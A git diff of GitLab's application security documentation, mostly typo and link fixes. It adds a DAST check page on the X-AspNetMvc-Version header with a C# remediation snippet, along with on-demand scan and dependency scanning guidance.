+- [CWE](https://cwe.mitre.org/data/definitions/16.html)
diff --git a/doc/user/application_security/dast/checks/16.5.md b/doc/user/application_security/dast/checks/16.5.md
index 8a6f3cd8b6a..28bb9f7ee4b 100644
--- a/doc/user/application_security/dast/checks/16.5.md
+++ b/doc/user/application_security/dast/checks/16.5.md
@@ -4,7 +4,7 @@ group: Dynamic Analysis
info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
-# AspNet Header(s) exposes version information
+# AspNet header exposes version information
## Description
@@ -26,5 +26,5 @@ section of the `Web.config` file.
## Links
-- [cwe](https://cwe.mitre.org/data/definitions/16.html)
+- [CWE](https://cwe.mitre.org/data/definitions/16.html)
- [IIS Remove Unwanted Headers](https://techcommunity.microsoft.com/t5/iis-support-blog/remove-unwanted-http-response-headers/ba-p/369710)
diff --git a/doc/user/application_security/dast/checks/16.6.md b/doc/user/application_security/dast/checks/16.6.md
new file mode 100644
index 00000000000..ddd3a10c5f8
--- /dev/null
+++ b/doc/user/application_security/dast/checks/16.6.md
@@ -0,0 +1,37 @@
+---
+stage: Secure
+group: Dynamic Analysis
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
+---
+
+# AspNetMvc header exposes version information
+
+## Description
+
+The target website returns AspNet header(s) along with version information of this website. By
+exposing these values attackers may attempt to identify if the target software is vulnerable to known
+vulnerabilities. Or catalog known sites running particular versions to exploit in the future when a
+vulnerability is identified in the particular version.
+
+## Remediation
+
+To remove the `X-AspNetMvc-Version` information set `MvcHandler.DisableMvcResponseHeader = true;` in the
+`Global.asax.cs` file in the `Application_Start()` method.
+
+```cs
+protected void Application_Start()
+{
+ MvcHandler.DisableMvcResponseHeader = true;
+}
+```
+
+## Details
+
+| ID | Aggregated | CWE | Type | Risk |
+|:---|:--------|:--------|:--------|:--------|
+| 16.6 | true | 16 | Passive | Low |
+
+## Links
+
+- [CWE](https://cwe.mitre.org/data/definitions/16.html)
+- [IIS Remove Unwanted Headers](https://techcommunity.microsoft.com/t5/iis-support-blog/remove-unwanted-http-response-headers/ba-p/369710)
diff --git a/doc/user/application_security/dast/checks/614.1.md b/doc/user/application_security/dast/checks/614.1.md
index 74ac73935f1..46f7f61b0c7 100644
--- a/doc/user/application_security/dast/checks/614.1.md
+++ b/doc/user/application_security/dast/checks/614.1.md
@@ -36,5 +36,5 @@ Set-Cookie: {cookie_name}=<random secure value>; Secure
## Links
- [owasp](https://owasp.org/www-community/controls/SecureCookieAttribute)
-- [cwe](https://cwe.mitre.org/data/definitions/614.html)
+- [CWE](https://cwe.mitre.org/data/definitions/614.html)
- [Mozilla MDN](https://developer.mozilla.org/en-US/docs/Web/HTTP/Cookies#restrict_access_to_cookies)
diff --git a/doc/user/application_security/dast/checks/693.1.md b/doc/user/application_security/dast/checks/693.1.md
index 07cb368b39a..d3f4c72c676 100644
--- a/doc/user/application_security/dast/checks/693.1.md
+++ b/doc/user/application_security/dast/checks/693.1.md
@@ -30,7 +30,7 @@ misinterpreted.
## Links
-- [owasp](https://owasp.org/www-project-secure-headers/#x-content-type-options)
-- [cwe](https://cwe.mitre.org/data/definitions/693.html)
+- [OWASP](https://owasp.org/www-project-secure-headers/#x-content-type-options)
+- [CWE](https://cwe.mitre.org/data/definitions/693.html)
- [Mozilla Blog on MIME Confusion attacks](https://blog.mozilla.org/security/2016/08/26/mitigating-mime-confusion-attacks-in-firefox/)
- [Mozilla MDN on X-Content-Type-Options](https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/X-Content-Type-Options)
diff --git a/doc/user/application_security/dast/checks/index.md b/doc/user/application_security/dast/checks/index.md
index f1a68387eb1..a3b89e09751 100644
--- a/doc/user/application_security/dast/checks/index.md
+++ b/doc/user/application_security/dast/checks/index.md
@@ -15,6 +15,7 @@ The [DAST browser-based crawler](../browser_based.md) provides a number of vulne
| [16.2](16.2.md) | Server header exposes version information | Low | Passive |
| [16.3](16.3.md) | X-Powered-By header exposes version information | Low | Passive |
| [16.4](16.4.md) | X-Backend-Server header exposes server information | Info | Passive |
-| [16.5](16.5.md) | AspNet Header(s) exposes version information | Low | Passive |
+| [16.5](16.5.md) | AspNet header exposes version information | Low | Passive |
+| [16.6](16.6.md) | AspNetMvc header exposes version information | Low | Passive |
| [614.1](614.1.md) | Sensitive cookie without `Secure` attribute | Low | Passive |
| [693.1](693.1.md) | Missing X-Content-Type-Options: nosniff | Low | Passive |
diff --git a/doc/user/application_security/dast/index.md b/doc/user/application_security/dast/index.md
index 0d8b55a92a9..4de7a566769 100644
--- a/doc/user/application_security/dast/index.md
+++ b/doc/user/application_security/dast/index.md
@@ -16,6 +16,10 @@ Dynamic Application Security Testing (DAST) examines applications for
vulnerabilities like these in deployed environments. DAST uses the open source
tool [OWASP Zed Attack Proxy](https://www.zaproxy.org/) for analysis.
+INFO:
+Want to try out security scanning?
+[Try GitLab Ultimate free for 30 days](https://about.gitlab.com/free-trial/index.html?glm_source=docs.gitlab.com&glm_content=u-dast-docs).
+
After DAST creates its report, GitLab evaluates it for discovered
vulnerabilities between the source and target branches. Relevant
findings are noted in the merge request.
@@ -254,7 +258,7 @@ The included template creates a `dast` job in your CI/CD pipeline and scans
your project's running application for possible vulnerabilities.
The results are saved as a
-[DAST report artifact](../../../ci/yaml/index.md#artifactsreportsdast)
+[DAST report artifact](../../../ci/yaml/artifacts_reports.md#artifactsreportsdast)
that you can later download and analyze. Due to implementation limitations, we
always take the latest DAST artifact available. Behind the scenes, the
[GitLab DAST Docker image](https://gitlab.com/security-products/dast)
@@ -956,9 +960,34 @@ An on-demand scan can be run in active or passive mode:
### View on-demand DAST scans
-To view running and completed on-demand DAST scans for a project, go to
+To view running completed and scheduled on-demand DAST scans for a project, go to
**Security & Compliance > On-demand Scans** in the left sidebar.
+- To view both running and completed scans, select **All**.
+- To view running scans only, select **Running**.
+- To view finished scans, select **Finished**. A finished scan is a scan that either succeeded,
+ failed, or was canceled.
+- To view scheduled scans, select **Scheduled**. It shows on-demand scans that have a schedule
+ set up. Those are _not_ included in the **All** tab.
+
+#### Cancel an on-demand scan
+
+To cancel a pending or running on-demand scan, select **Cancel** (**{cancel}**) in the
+on-demand scans list.
+
+#### Retry an on-demand scan
+
+To retry a scan that failed or succeeded with warnings, select **Retry** (**{retry}**) in the
+on-demand scans list.
+
+#### View an on-demand scan's results
+
+To view a finished scan's results, select **View results** in the on-demand scans list.
+
+#### Edit an on-demand scan
+
+To edit an on-demand scan's settings, select **Edit** (**{pencil}**) in the **Scheduled** tab.
+
### Run an on-demand DAST scan
Prerequisites:
@@ -1023,7 +1052,7 @@ The on-demand DAST scan runs, and the project's dashboard shows the results.
> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/328749) in GitLab 14.3. [Deployed behind the `dast_on_demand_scans_scheduler` flag](../../../administration/feature_flags.md), disabled by default.
> - [Enabled on GitLab.com](https://gitlab.com/gitlab-org/gitlab/-/issues/328749) in GitLab 14.4.
> - [Enabled on self-managed](https://gitlab.com/gitlab-org/gitlab/-/issues/328749) in GitLab 14.4.
-> - [Feature flag dast_on_demand_scans_scheduler removed](https://gitlab.com/gitlab-org/gitlab/-/issues/328749) in GitLab 14.5.
+> - [Feature flag `dast_on_demand_scans_scheduler` removed](https://gitlab.com/gitlab-org/gitlab/-/issues/328749) in GitLab 14.5.
To schedule a scan:
@@ -1344,27 +1373,6 @@ The DAST tool always emits a JSON report file called `gl-dast-report.json` and
sample reports can be found in the
[DAST repository](https://gitlab.com/gitlab-org/security-products/dast/-/tree/master/test/end-to-end/expect).
-### Other formats
-
-Reports can also be generated in Markdown, HTML, and XML. These can be published as artifacts using the following configuration:
-
-```yaml
-include:
- template: DAST.gitlab-ci.yml
-
-dast:
- variables:
- DAST_HTML_REPORT: report.html
- DAST_MARKDOWN_REPORT: report.md
- DAST_XML_REPORT: report.xml
- artifacts:
- paths:
- - $DAST_HTML_REPORT
- - $DAST_MARKDOWN_REPORT
- - $DAST_XML_REPORT
- - gl-dast-report.json
-```
-
## Optimizing DAST
By default, DAST downloads all artifacts defined by previous jobs in the pipeline. If
diff --git a/doc/user/application_security/dast_api/index.md b/doc/user/application_security/dast_api/index.md
index f3ab25ccffa..0db5fb2d868 100644
--- a/doc/user/application_security/dast_api/index.md
+++ b/doc/user/application_security/dast_api/index.md
@@ -1138,7 +1138,7 @@ A bug exists in versions of the DAST API analyzer prior to v1.6.196 that can cau
The version information can be found in the job details for the `dast_api` job.
-If the issue is occuring with versions v1.6.196 or greater, please contact Support and provide the following information:
+If the issue is occurring with versions v1.6.196 or greater, please contact Support and provide the following information:
1. Reference this troubleshooting section and ask for the issue to be escalated to the Dynamic Analysis Team.
1. The full console output of the job.
@@ -1209,6 +1209,25 @@ deploy-test-target:
- environment_url.txt
```
+## Get support or request an improvement
+
+To get support for your particular problem please use the [getting help channels](https://about.gitlab.com/get-help/).
+
+The [GitLab issue tracker on GitLab.com](https://gitlab.com/gitlab-org/gitlab/-/issues) is the right place for bugs and feature proposals about API Security and DAST API.
+Please use `~"Category:API Security"` [label](../../../development/contributing/issue_workflow.md#labels) when opening a new issue regarding DAST API to ensure it is quickly reviewed by the right people. Please refer to our [review response SLO](../../../development/code_review.md#review-response-slo) to understand when you should receive a response.
+
+[Search the issue tracker](https://gitlab.com/gitlab-org/gitlab/-/issues) for similar entries before submitting your own, there's a good chance somebody else had the same issue or feature proposal. Show your support with an award emoji and or join the discussion.
+
+When experiencing a behavior not working as expected, consider providing contextual information:
+
+- GitLab version if using a self-managed instance.
+- `.gitlab-ci.yml` job definition.
+- Full job console output.
+- Scanner log file available as a job artifact named `gl-api-security-scanner.log`.
+
+WARNING:
+**Sanitize data attached to a support issue**. Please remove sensitive information, including: credentials, passwords, tokens, keys, and secrets.
+
## Glossary
- Assert: Assertions are detection modules used by checks to trigger a vulnerability. Many assertions have
diff --git a/doc/user/application_security/dependency_list/index.md b/doc/user/application_security/dependency_list/index.md
index b0d8af2606f..baafdcda6e0 100644
--- a/doc/user/application_security/dependency_list/index.md
+++ b/doc/user/application_security/dependency_list/index.md
@@ -7,7 +7,8 @@ info: To determine the technical writer assigned to the Stage/Group associated w
# Dependency list **(ULTIMATE)**
-> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/10075) in GitLab 12.0.
+> - Application dependencies [introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/10075) in GitLab 12.0.
+> - System dependencies [introduced](https://gitlab.com/groups/gitlab-org/-/epics/6698) in GitLab 14.6.
Use the dependency list to review your project's dependencies and key
details about those dependencies, including their known vulnerabilities. It is a collection of dependencies in your project, including existing and new findings.
@@ -22,8 +23,9 @@ The dependency list only shows the results of the last successful pipeline to ru
To view your project's dependencies, ensure you meet the following requirements:
-- The [Dependency Scanning](../dependency_scanning/index.md) CI job must be
- configured for your project.
+- The [Dependency Scanning](../dependency_scanning/index.md)
+ or [Container Scanning](../container_scanning/index.md)
+ CI job must be configured for your project.
- Your project uses at least one of the
[languages and package managers](../dependency_scanning/index.md#supported-languages-and-package-managers)
supported by Gemnasium.
@@ -38,7 +40,7 @@ GitLab displays dependencies with the following information:
|-----------|-------------|
| Component | The dependency's name and version. |
| Packager | The packager used to install the dependency. |
-| Location | A link to the packager-specific lock file in your project that declared the dependency. It also shows the [dependency path](#dependency-paths) to a top-level dependency, if any, and if supported. |
+| Location | For system dependencies, this lists the image that was scanned. For application dependencies, this shows a link to the packager-specific lock file in your project that declared the dependency. It also shows the [dependency path](#dependency-paths) to a top-level dependency, if any, and if supported. |
| License | Links to dependency's software licenses. |
Displayed dependencies are initially sorted by the severity of their known vulnerabilities, if any. They
@@ -63,6 +65,7 @@ Dependency paths are supported for the following package managers:
- [NuGet](https://www.nuget.org/)
- [Yarn 1.x](https://classic.yarnpkg.com/lang/en/)
+- [sbt](https://www.scala-sbt.org)
## Licenses
@@ -82,4 +85,4 @@ You can download your project's list of dependencies and their details in JSON f
### Using the API
-You can download your project's list of dependencies [using the API](../../../api/dependencies.md#list-project-dependencies). Note this only provides the dependencies identified by the gemnasium family of analyzers and [not any other of the GitLab dependency analyzers](../dependency_scanning/analyzers.md).
+You can download your project's list of dependencies [using the API](../../../api/dependencies.md#list-project-dependencies). Note this only provides the dependencies identified by the Gemnasium family of analyzers and [not any other of the GitLab dependency analyzers](../dependency_scanning/analyzers.md).
diff --git a/doc/user/application_security/dependency_scanning/analyzers.md b/doc/user/application_security/dependency_scanning/analyzers.md
index 8559d5af02e..1b502b306bb 100644
--- a/doc/user/application_security/dependency_scanning/analyzers.md
+++ b/doc/user/application_security/dependency_scanning/analyzers.md
@@ -32,6 +32,9 @@ to launch dedicated containers for each analysis.
Dependency Scanning is pre-configured with a set of **default images** that are
maintained by GitLab, but users can also integrate their own **custom images**.
+WARNING:
+The `bundler-audit` analyzer is deprecated and will be removed in GitLab 15.0 since it duplicates the functionality of the `gemnasium` analyzer. For more information, read the [deprecation announcement](../../../update/deprecations.md#deprecation-of-bundler-audit-dependency-scanning-tool).
+
## Official default analyzers
Any custom change to the official analyzers can be achieved by using a
@@ -118,12 +121,12 @@ The following table lists the data available for each official analyzer.
| File | ✓ | ⚠ | ✓ |
| Start line | ð„‚ | ð„‚ | ð„‚ |
| End line | ð„‚ | ð„‚ | ð„‚ |
-| External ID (e.g., CVE) | ✓ | ✓ | ⚠ |
+| External ID (for example, CVE) | ✓ | ✓ | ⚠ |
| URLs | ✓ | ✓ | ✓ |
| Internal doc/explanation | ✓ | ð„‚ | ð„‚ |
| Solution | ✓ | ✓ | ð„‚ |
| Confidence | ð„‚ | ð„‚ | ð„‚ |
-| Affected item (e.g. class or package) | ✓ | ✓ | ✓ |
+| Affected item (for example, class or package) | ✓ | ✓ | ✓ |
| Source code extract | ð„‚ | ð„‚ | ð„‚ |
| Internal ID | ✓ | ð„‚ | ð„‚ |
| Date | ✓ | ð„‚ | ð„‚ |
@@ -134,4 +137,4 @@ The following table lists the data available for each official analyzer.
- ð„‚ => we don't have that data, or it would need to develop specific or inefficient/unreliable logic to obtain it.
The values provided by these tools are heterogeneous, so they are sometimes
-normalized into common values (e.g., `severity`, `confidence`, etc).
+normalized into common values (for example, `severity`, `confidence`, etc).
diff --git a/doc/user/application_security/dependency_scanning/index.md b/doc/user/application_security/dependency_scanning/index.md
index 3c6db8c3ee9..192d8449297 100644
--- a/doc/user/application_security/dependency_scanning/index.md
+++ b/doc/user/application_security/dependency_scanning/index.md
@@ -7,10 +7,43 @@ info: To determine the technical writer assigned to the Stage/Group associated w
# Dependency Scanning **(ULTIMATE)**
+INFO:
+Try out Dependency Scanning in GitLab Ultimate.
+[It's free for 30 days](https://about.gitlab.com/free-trial/index.html?glm_source=docs.gitlab.com&glm_content=u-dependency-scanning-docs).
+
The Dependency Scanning feature can automatically find security vulnerabilities in your
-dependencies while you're developing and testing your applications. For example, dependency scanning
-lets you know if your application uses an external (open source) library that is known to be
-vulnerable. You can then take action to protect your application.
+software dependencies while you're developing and testing your applications. For example,
+dependency scanning lets you know if your application uses an external (open source)
+library that is known to be vulnerable. You can then take action to protect your application.
+
+Dependency Scanning is often considered part of Software Composition Analysis (SCA). SCA can contain
+aspects of inspecting the items your code uses. These items typically include application and system
+dependencies that are almost always imported from external sources, rather than sourced from items
+you wrote yourself.
+
+GitLab offers both Dependency Scanning and Container Scanning
+to ensure coverage for all of these dependency types. To cover as much of your risk area as
+possible, we encourage you to use all of our security scanners:
+
+- Dependency Scanning analyzes your project and tells you which software dependencies,
+ including upstream dependencies, have been included in your project, and what known
+ risks the dependencies contain. Dependency Scanning modifies its behavior based
+ on the language and package manager of the project. It typically looks for a lock file
+ then performs a build to fetch upstream dependency information. In the case of
+ containers, Dependency Scanning uses the compatible manifest and reports only these
+ declared software dependencies (and those installed as a sub-dependency).
+ Dependency Scanning can not detect software dependencies that are pre-bundled
+ into the container's base image. To identify pre-bundled dependencies, enable
+ [Container Scanning](../container_scanning/) language scanning using the
+ [`CS_DISABLE_LANGUAGE_VULNERABILITY_SCAN` variable](../container_scanning/#report-language-specific-findings).
+- [Container Scanning](../container_scanning/) analyzes your containers and tells
+ you about known risks in the operating system's (OS) packages. You can configure it
+ to also report on software and language dependencies, if you enable it and use
+ the [`CS_DISABLE_LANGUAGE_VULNERABILITY_SCAN` variable](../container_scanning/#report-language-specific-findings).
+ Turning this variable on can result in some duplicate findings, as we do not yet
+ de-duplicate results between Container Scanning and Dependency Scanning. For more details,
+ efforts to de-duplicate these findings can be tracked in
+ [this issue](https://gitlab.com/gitlab-org/gitlab/-/issues/348655).
## Overview
@@ -142,7 +175,7 @@ table.supported-languages ul {
<tr>
<td>Go</td>
<td>N/A</td>
- <td><a href="https://golang.org/">Go</a></td>
+ <td><a href="https://go.dev/">Go</a></td>
<td><code>go.sum</code></td>
<td><a href="https://gitlab.com/gitlab-org/security-products/analyzers/gemnasium">Gemnasium</a></td>
<td>Y</td>
@@ -279,10 +312,10 @@ table.supported-languages ul {
GitLab analyzers obtain dependency information using one of the following two methods:
-1. [Parsing lockfiles directly.](#obtaining-dependendency-information-by-parsing-lockfiles)
-1. [Running a package manager or build tool to generate a dependency information file which is then parsed.](#obtaining-dependendency-information-by-running-a-package-manager-to-generate-a-parsable-file)
+1. [Parsing lockfiles directly.](#obtaining-dependency-information-by-parsing-lockfiles)
+1. [Running a package manager or build tool to generate a dependency information file which is then parsed.](#obtaining-dependency-information-by-running-a-package-manager-to-generate-a-parsable-file)
-#### Obtaining dependendency information by parsing lockfiles
+#### Obtaining dependency information by parsing lockfiles
The following package managers use lockfiles that GitLab analyzers are capable of parsing directly:
@@ -296,7 +329,7 @@ The following package managers use lockfiles that GitLab analyzers are capable o
| npm | v1, v2 | [6.x](https://gitlab.com/gitlab-org/security-products/tests/js-npm/-/blob/master/package-lock.json#L4), [7.x](https://gitlab.com/gitlab-org/security-products/tests/js-npm/-/blob/lockfile-v2-FREEZE/package-lock.json#L4) |
| yarn | v1 | [1.x](https://gitlab.com/gitlab-org/security-products/tests/js-yarn/-/blob/master/yarn.lock) |
-#### Obtaining dependendency information by running a package manager to generate a parsable file
+#### Obtaining dependency information by running a package manager to generate a parsable file
To support the following package managers, the GitLab analyzers proceed in two steps:
@@ -309,7 +342,7 @@ To support the following package managers, the GitLab analyzers proceed in two s
| sbt | [1.3.8](https://gitlab.com/gitlab-org/security-products/analyzers/gemnasium-maven/-/blob/v2.23.0/config/.tool-versions#L4) | [1.0.4](https://gitlab.com/gitlab-org/security-products/analyzers/gemnasium-maven/-/blob/master/.gitlab-ci.yml#L263), [1.1.4](https://gitlab.com/gitlab-org/security-products/tests/scala-sbt-multiproject/-/blob/main/project/build.properties#L1), [1.1.6](https://gitlab.com/gitlab-org/security-products/analyzers/gemnasium-maven/-/blob/master/.gitlab-ci.yml#L272), [1.2.8](https://gitlab.com/gitlab-org/security-products/analyzers/gemnasium-maven/-/blob/master/.gitlab-ci.yml#L281), [1.3.12](https://gitlab.com/gitlab-org/security-products/analyzers/gemnasium-maven/-/blob/master/.gitlab-ci.yml#L290), [1.4.6](https://gitlab.com/gitlab-org/security-products/analyzers/gemnasium-maven/-/blob/master/.gitlab-ci.yml#L299) |
| Maven | [3.6.3](https://gitlab.com/gitlab-org/security-products/analyzers/gemnasium-maven/-/blob/v2.23.0/config/.tool-versions#L3) | [3.6.3](https://gitlab.com/gitlab-org/security-products/tests/java-maven/-/blob/master/pom.xml#L3) |
| Gradle | [6.7.1](https://gitlab.com/gitlab-org/security-products/analyzers/gemnasium-maven/-/blob/v2.23.0/config/.tool-versions#L5) | [5.6.4](https://gitlab.com/gitlab-org/security-products/tests/java-gradle/-/blob/master/gradle/wrapper/gradle-wrapper.properties#L3), [6.5](https://gitlab.com/gitlab-org/security-products/tests/java-gradle/-/blob/java-14/gradle/wrapper/gradle-wrapper.properties#L3), [6.7-rc-1](https://gitlab.com/gitlab-org/security-products/tests/java-gradle/-/blob/java-15/gradle/wrapper/gradle-wrapper.properties#L3), [6.9](https://gitlab.com/gitlab-org/security-products/tests/java-gradle/-/blob/java-14-gradle-6-9/gradle/wrapper/gradle-wrapper.properties#L3), [7.0-rc-2](https://gitlab.com/gitlab-org/security-products/tests/java-gradle/-/blob/java-16/gradle/wrapper/gradle-wrapper.properties#L3) |
-| setuptools | [50.3.2](https://gitlab.com/gitlab-org/security-products/analyzers/gemnasium/-/blob/v2.29.9/Dockerfile#L27) | |
+| setuptools | [50.3.2](https://gitlab.com/gitlab-org/security-products/analyzers/gemnasium/-/blob/v2.29.9/Dockerfile#L27) | [57.5.0](https://gitlab.com/gitlab-org/security-products/tests/python-setuptools/-/blob/main/setup.py) |
| pip | [20.2.4](https://gitlab.com/gitlab-org/security-products/analyzers/gemnasium/-/blob/v2.29.9/Dockerfile#L26) | [20.x](https://gitlab.com/gitlab-org/security-products/tests/python-pip/-/blob/master/requirements.txt) |
| Pipenv | [2018.11.26](https://gitlab.com/gitlab-org/security-products/analyzers/gemnasium-python/-/blob/v2.18.4/requirements.txt#L13) | [2018.11.26](https://gitlab.com/gitlab-org/security-products/tests/python-pipenv/-/blob/pipfile-lock-FREEZE/Pipfile.lock#L6)<sup><b><a href="#exported-dependency-information-notes-2">2</a></b></sup>, [2018.11.26](https://gitlab.com/gitlab-org/security-products/tests/python-pipenv/-/blob/master/Pipfile) |
@@ -370,7 +403,7 @@ We only execute one build in the directory where a build file has been detected,
Please note, we support the following types of Java project structures:
- [multi-project sbt builds](https://www.scala-sbt.org/1.x/docs/Multi-Project.html)
-- [multi-project gradle builds](https://docs.gradle.org/current/userguide/intro_multi_project_builds.html)
+- [multi-project Gradle builds](https://docs.gradle.org/current/userguide/intro_multi_project_builds.html)
- [multi-module maven projects](https://maven.apache.org/pom.html#Aggregation)
#### JavaScript
@@ -425,7 +458,7 @@ include:
The included template creates dependency scanning jobs in your CI/CD
pipeline and scans your project's source code for possible vulnerabilities.
The results are saved as a
-[dependency scanning report artifact](../../../ci/yaml/index.md#artifactsreportsdependency_scanning)
+[dependency scanning report artifact](../../../ci/yaml/artifacts_reports.md#artifactsreportsdependency_scanning)
that you can later download and analyze. Due to implementation limitations, we
always take the latest dependency scanning artifact available.
@@ -440,7 +473,7 @@ from the Security Configuration page.
1. In the project where you want to enable Dependency Scanning, navigate to
**Security & Compliance > Configuration**.
-1. In the **Dependency Scanning** row, select **Configure via Merge Request**.
+1. In the **Dependency Scanning** row, select **Configure with a merge request**.
This automatically creates a merge request with the changes necessary to enable Dependency Scanning
that you can review and merge to complete the configuration.
@@ -506,7 +539,7 @@ The following variables allow configuration of global dependency scanning settin
| `ADDITIONAL_CA_CERT_BUNDLE` | Bundle of CA certs to trust. The bundle of certificates provided here is also used by other tools during the scanning process, such as `git`, `yarn`, or `npm`. See [Using a custom SSL CA certificate authority](#using-a-custom-ssl-ca-certificate-authority) for more details. |
| `DS_EXCLUDED_ANALYZERS` | Specify the analyzers (by name) to exclude from Dependency Scanning. For more information, see [Dependency Scanning Analyzers](analyzers.md). |
| `DS_DEFAULT_ANALYZERS` | ([**DEPRECATED - use `DS_EXCLUDED_ANALYZERS` instead**](https://gitlab.com/gitlab-org/gitlab/-/issues/287691)) Override the names of the official default images. For more information, see [Dependency Scanning Analyzers](analyzers.md). |
-| `DS_EXCLUDED_PATHS` | Exclude vulnerabilities from output based on the paths. A comma-separated list of patterns. Patterns can be globs, or file or folder paths (for example, `doc,spec`). Parent directories also match patterns. Default: `"spec, test, tests, tmp"`. |
+| `DS_EXCLUDED_PATHS` | Exclude files and directories from the scan based on the paths. A comma-separated list of patterns. Patterns can be globs, or file or folder paths (for example, `doc,spec`). Parent directories also match patterns. Default: `"spec, test, tests, tmp"`. |
| `SECURE_ANALYZERS_PREFIX` | Override the name of the Docker registry providing the official default images (proxy). Read more about [customizing analyzers](analyzers.md). |
| `SECURE_LOG_LEVEL` | Set the minimum logging level. Messages of this logging level or higher are output. From highest to lowest severity, the logging levels are: `fatal`, `error`, `warn`, `info`, `debug`. [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/10880) in GitLab 13.1. Default: `info`. |
@@ -596,7 +629,7 @@ The dependency scanning tool emits a JSON report file. For more information, see
Here's an example dependency scanning report:
-```json-doc
+```json
{
"version": "2.0",
"vulnerabilities": [
@@ -709,7 +742,7 @@ Please check the [Release Process documentation](https://gitlab.com/gitlab-org/s
## Contributing to the vulnerability database
-You can search the [gemnasium-db](https://gitlab.com/gitlab-org/security-products/gemnasium-db) project
+You can search the [`gemnasium-db`](https://gitlab.com/gitlab-org/security-products/gemnasium-db) project
to find a vulnerability in the Gemnasium database.
You can also [submit new vulnerabilities](https://gitlab.com/gitlab-org/security-products/gemnasium-db/blob/master/CONTRIBUTING.md).
@@ -781,7 +814,7 @@ Support for custom certificate authorities was introduced in the following versi
Add the following configuration to your `.gitlab-ci.yml` file. You must change the value of
`SECURE_ANALYZERS_PREFIX` to refer to your local Docker container registry. You must also change the
value of `GEMNASIUM_DB_REMOTE_URL` to the location of your offline Git copy of the
-[gemnasium-db advisory database](https://gitlab.com/gitlab-org/security-products/gemnasium-db/):
+[`gemnasium-db` advisory database](https://gitlab.com/gitlab-org/security-products/gemnasium-db/):
```yaml
include:
@@ -1033,3 +1066,19 @@ scan occurs. Because the cache is downloaded before the analyzer run occurs, the
file in the `CI_BUILDS_DIR` directory triggers the dependency scanning job.
We recommend committing the lock files, which prevents this warning.
+
+### I no longer get the latest Docker image after setting `DS_MAJOR_VERSION` or `DS_ANALYZER_IMAGE`
+
+If you have manually set `DS_MAJOR_VERSION` or `DS_ANALYZER_IMAGE` for specific reasons,
+and now must update your configuration to again get the latest patched versions of our
+analyzers, edit your `gitlab-ci.yml` file and either:
+
+- Set your `DS_MAJOR_VERSION` to match the latest version as seen in
+ [our current Dependency Scanning template](https://gitlab.com/gitlab-org/gitlab/blob/master/lib/gitlab/ci/templates/Security/Dependency-Scanning.gitlab-ci.yml#L18).
+- If you hardcoded the `DS_ANALYZER_IMAGE` variable directly, change it to match the latest
+ line as found in our [current Dependency Scanning template](https://gitlab.com/gitlab-org/gitlab/blob/master/lib/gitlab/ci/templates/Security/Dependency-Scanning.gitlab-ci.yml).
+ The line number will vary depending on which scanning job you edited.
+
+ For example, currently the `gemnasium-maven-dependency_scanning` job pulls the latest
+ `gemnasium-maven` Docker image because `DS_ANALYZER_IMAGE` is set to
+ `"$SECURE_ANALYZERS_PREFIX/gemnasium-maven:$DS_MAJOR_VERSION"`.
diff --git a/doc/user/application_security/iac_scanning/index.md b/doc/user/application_security/iac_scanning/index.md
index a58a00a869b..c17ebc68b4d 100644
--- a/doc/user/application_security/iac_scanning/index.md
+++ b/doc/user/application_security/iac_scanning/index.md
@@ -32,14 +32,14 @@ GitLab IaC scanning supports a variety of IaC configuration files. Our IaC secur
| Configuration File Type | Scan tool | Introduced in GitLab Version |
|------------------------------------------|----------------------------------|-------------------------------|
-| Ansible | [kics](https://kics.io/) | 14.5 |
-| AWS CloudFormation | [kics](https://kics.io/) | 14.5 |
-| Kubernetes | [kics](https://kics.io/) | 14.5 |
-| Terraform | [kics](https://kics.io/) | 14.5 |
+| Ansible | [KICS](https://kics.io/) | 14.5 |
+| AWS CloudFormation | [KICS](https://kics.io/) | 14.5 |
+| Kubernetes | [KICS](https://kics.io/) | 14.5 |
+| Terraform | [KICS](https://kics.io/) | 14.5 |
### Making IaC analyzers available to all GitLab tiers
-All open source (OSS) analyzers are availibile with the GitLab Free tier. Future propietary analyzers may be restricted to higher tiers.
+All open source (OSS) analyzers are available with the GitLab Free tier. Future proprietary analyzers may be restricted to higher tiers.
#### Summary of features per tier
@@ -74,7 +74,7 @@ The included template creates IaC scanning jobs in your CI/CD pipeline and scans
your project's configuration files for possible vulnerabilities.
The results are saved as a
-[SAST report artifact](../../../ci/yaml/index.md#artifactsreportssast)
+[SAST report artifact](../../../ci/yaml/artifacts_reports.md#artifactsreportssast)
that you can download and analyze.
### Enable IaC Scanning via an automatic merge request
@@ -84,7 +84,7 @@ from the Security Configuration page:
1. On the top bar, select **Menu > Projects** and find your project.
1. On the left sidebar, select **Security & Compliance > Configuration**.
-1. In the **Infrastructure as Code (IaC) Scanning** row, select **Configure via Merge Request**.
+1. In the **Infrastructure as Code (IaC) Scanning** row, select **Configure with a merge request**.
This automatically creates a merge request with the changes necessary to enable IaC Scanning
that you can review and merge to complete the configuration.
diff --git a/doc/user/application_security/index.md b/doc/user/application_security/index.md
index d5e801ced9c..5500f5a10c4 100644
--- a/doc/user/application_security/index.md
+++ b/doc/user/application_security/index.md
@@ -16,6 +16,10 @@ GitLab can check your application for security vulnerabilities including:
Statistics and details on vulnerabilities are included in the merge request. Providing
actionable information _before_ changes are merged enables you to be proactive.
+INFO:
+Want to try out security scanning?
+[Try GitLab Ultimate free for 30 days](https://about.gitlab.com/free-trial/index.html?glm_source=docs.gitlab.com&glm_content=u-application-security-docs).
+
GitLab also provides high-level statistics of vulnerabilities across projects and groups:
- The [Security Dashboard](security_dashboard/index.md) provides a
@@ -42,7 +46,7 @@ GitLab uses the following tools to scan and report known vulnerabilities found i
| [Secret Detection](secret_detection/index.md) | Analyze Git history for leaked secrets. |
| [Security Dashboard](security_dashboard/index.md) | View vulnerabilities in all your projects and groups. |
| [Static Application Security Testing (SAST)](sast/index.md) | Analyze source code for known vulnerabilities. |
-| [Infrastructure as Code (IaC) Scanning](iac_scanning/index.md) | Analyze your IaC coniguration files for known vulnerabilities. |
+| [Infrastructure as Code (IaC) Scanning](iac_scanning/index.md) | Analyze your IaC configuration files for known vulnerabilities. |
